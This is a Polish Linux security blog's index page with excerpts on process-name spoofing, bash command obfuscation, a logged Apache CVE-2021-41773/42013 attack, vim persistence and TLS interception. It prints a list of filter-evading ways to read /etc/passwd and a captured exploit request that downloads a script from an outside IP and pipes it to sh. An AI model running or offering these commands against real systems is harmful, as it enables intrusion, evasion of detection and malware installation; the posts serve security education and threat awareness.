NFsec Logo

Wszystko w Linuksie jest plikiem na który można zerkać

03/12/2024 w Bezpieczeństwo Możliwość komentowania Wszystko w Linuksie jest plikiem na który można zerkać została wyłączona

W

szystko jest plikiem to koncepcja zakładającą, że w systemach z rodziny *nix wejście / wyjście do i z zasobów (dyski twarde, urządzenia sieciowe, urządzenia peryferyjne) jest prostym strumienim bajtów udostępnionych przez przestrzeń nazw systemu plików. Oznacza to, że jesteśmy w stanie wykonać ten sam zestaw operacji opisany dla plików na każdym obiekcie w systemie, ponieważ każdy z nich jest “plikiem”. Możemy otworzyć konkretne urządzenie / plik, odczytać z niego, zapisać do niego i zamknąć je po zakończeniu. Dane z tego zasobu są również przesyłane strumieniowo. Jedyną rzeczą, która się zmienia jest źródło danych. Na przykład, gdy piszemy w terminalu w rzeczywistości zapisujemy dane do zasobu o nazwie standardowe wejście (ang. standard inputstdin). Gdy dane są wyświetlane na terminalu, używane jest standardowe wyjście (ang. standard outputstdout).
[ czytaj całość… ]

Prosty trick, aby ukryć prawdziwą nazwę procesu

27/10/2024 w CmdLineFu, Hacks & Scripts Możliwość komentowania Prosty trick, aby ukryć prawdziwą nazwę procesu została wyłączona

// sleeper.c

#include 
#include 

int main()
{

    sleep(60);
    printf("Infecting Linux Host.");
    return 0;
}
agresor@darkstar:~$ gcc -o sleeper sleeper.c
agresor@darkstar:~$ exec -a '/lib/systemd/systemd --abuse' ./sleeper &
[1] 5354
agresor@darkstar:~$ ps x
    PID TTY      STAT   TIME COMMAND
   4925 ?        Ss     0:00 /lib/systemd/systemd --user
   4926 ?        S      0:00 (sd-pam)
   4988 ?        R      0:00 sshd: agresor@pts/0
   4989 pts/0    Ss     0:00 -bash
   5354 pts/0    S      0:00 /lib/systemd/systemd --abuse
   5357 pts/0    R+     0:00 ps x

Należy mieć na uwadze, że exec najlepiej w tym przypadku działa z plikami binarnymi. I bardzo prosto wykryć ten trick:

agresor@darkstar:~$ ls -al /proc/5354/exe
lrwxrwxrwx 1 agresor agresor 0 Oct 27 19:24 /proc/5354/exe -> /home/agresor/sleeper
agresor@darkstar:~$ cat /proc/5354/cmdline
/lib/systemd/systemd --abuse
agresor@darkstar:~$ cat /proc/5354/comm
sleeper

Więcej informacji: Why isn’t `exec -a` working the way I expect?

Zaciemnianie poleceń w powłoce bash

15/09/2024 w Hacks & Scripts, Pen Test Możliwość komentowania Zaciemnianie poleceń w powłoce bash została wyłączona

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

CVE-2021-41773 oraz CVE-2021-42013 kończące się kopaniem krypto przez RedTail

03/06/2024 w Ataki Internetowe 2 komentarze.

W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]

Czysta funkcja bash do pobierania i uruchamiania ładunków

28/11/2023 w Pen Test Możliwość komentowania Czysta funkcja bash do pobierania i uruchamiania ładunków została wyłączona

C

zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]

Zamieniamy vim w mechanizm persystencji

04/11/2023 w Pen Test Możliwość komentowania Zamieniamy vim w mechanizm persystencji została wyłączona

Z

amieniliśmy już edytor vim w rejestrator naciskanych klawiszy, teraz umieścimy w nim mechanizm persystencji. Plik konfiguracyjny .vimrc zawiera konfigurację dla tego edytora, a dzięki wtyczkom, modułom sprawdzania i kolorowania składni oferuje nieograniczone możliwości dostosowywania do użytkownika. Istnieją również sposoby wykonywania poleceń powłoki i dowolnych skryptów. Biorąc pod uwagę, że przy każdym uruchomieniu programu vim ładowany jest plik .vimrc, okazuje się, że jest to świetny sposób na regularne wykonywanie zadań, takich jak sprawdzanie, czy jest dodany odpowiedni klucz SSH do systemu. Staje się to jeszcze bardziej interesujące podczas, gdy edytor uruchamia administrator.
[ czytaj całość… ]

Odblokowujemy wyszukiwanie w powłoce bash

02/03/2023 w Administracja Możliwość komentowania Odblokowujemy wyszukiwanie w powłoce bash została wyłączona

K

ażde polecenie jest zapisywane w historii powłoki. Możemy ją ograniczać; obchodzić te ograniczenia; dodawać do niej czas wykonania poleceń; ulepszać wyszukiwanie itd. Najprostszym sposobem korzystania z historii jest używanie klawiszy kursora góra/dół. Większość użytkowników jest świadoma skrótu [Ctrl]+R. Naciskasz kombinację [Ctrl]+R (R jak reverse – wyszukiwanie wsteczne) kilka razy i jak przegapisz szukane polecenie, przewracasz oczami, naciskasz [Ctrl]+C i szukasz ponownie. Dlaczego w takim przypadku nie użyć wyszukiwania “do przodu” np. za pomocą [Ctrl]+S ? Otóż w standardowej konfiguracji kombinacja [Ctrl]+S zawiesza terminal, a [Ctrl]+Q go odwiesza. Funkcjonalność ta pochodzi z dawnych czasów i przydawała się m.in. przy zatrzymywaniu przepływu danych przez terminal. Dzisiaj już raczej się jej nie wykorzystuje. W celu wyłączenia tej funkcji i przywrócenia możliwości przeszukiwania historii wystarczy dodać linię do startowego pliku powłoki:

echo "stty -ixon" >> ~/.bash_profile

Teraz możemy przeszukiwać historię wstecz i do przodu używając [Ctrl]+R i [Ctrl]+S.

Więcej informacji: How to unfreeze after accidentally pressing Ctrl-S in a terminal?

Czyszczenie systemu z kontenerów docker

14/10/2022 w CmdLineFu Możliwość komentowania Czyszczenie systemu z kontenerów docker została wyłączona

alias containerstorm='docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)'

eCapture – przechwytywanie SSL/TLS bez CA przy użyciu eBPF

25/05/2022 w Bezpieczeństwo, Pen Test Możliwość komentowania eCapture – przechwytywanie SSL/TLS bez CA przy użyciu eBPF została wyłączona

W

yobraźmy sobie, że nasz system został zainfekowany przerobionym i trudnym do wykrycia implantem sieciowym. W swojej przeróbce został on uzbrojony w moduł inwigilacji oparty o eCapture. Jest to zwinne narzędzie napisane w języku Go, które również wykorzystuje technologię eBPF. Umożliwia ona uruchamianie programów zamkniętych w piaskownicy jądra systemu operacyjnego. Dzięki temu potrafi przechwycić zaszyfrowaną komunikację sieciową bez konieczności “podpinania” Urzędu Certyfikacji (ang. Certificate Authority), któremu należy zaufać. Zamiast tego wpina się w funkcje SSL_write / SSL_read współdzielonej biblioteki SSL, aby uzyskać kontekst tekstowy i wysłać tak uzyskane wiadomości do przestrzeni użytkownika za pomocą map eBPF.
[ czytaj całość… ]

sysdiagnose plus

27/09/2021 w Bezpieczeństwo, Debug Możliwość komentowania sysdiagnose plus została wyłączona

S

ysdiagnose to narzędzie, które znajduje się na większości urządzeń z systemem macOS i iOS. Służy ono do zbierania informacji diagnostycznych dotyczących całego systemu. Obecna wersja – 3.0 zbiera duże ilości danych z szerokiej gamy lokalizacji w systemie. Mogą one być przydatne w informatyce śledczej komputera prowadzonej na żywo. W przypadku poszukiwań złośliwego oprogramowania przechwycone dane mogą pomóc w zidentyfikowaniu zainfekowanego pliku binarnego; mechanizmu persystencji (gdy złośliwe oprogramowanie uzyska dostęp do systemu, często chce zostać tam przez długi czas opracowując metody pozwalające na jego powrót po restarcie systemu; jeśli mechanizm persystencji jest wystarczająco unikalny, może nawet służyć jako świetny sposób na określenie cechy charakterystycznej danego złośliwego oprogramowania) lub połączeń do C2 (serwery Command and Control – nazywane również C&C odnoszą się do sposobu, w jaki atakujący komunikują się i sprawują kontrolę nad zainfekowanym systemem; po zainfekowaniu systemu większość złośliwego oprogramowania komunikuje się z serwerem kontrolowanym przez atakującego, aby przyjmować polecenia, pobierać dodatkowe komponenty lub wykradać informacje).
[ czytaj całość… ]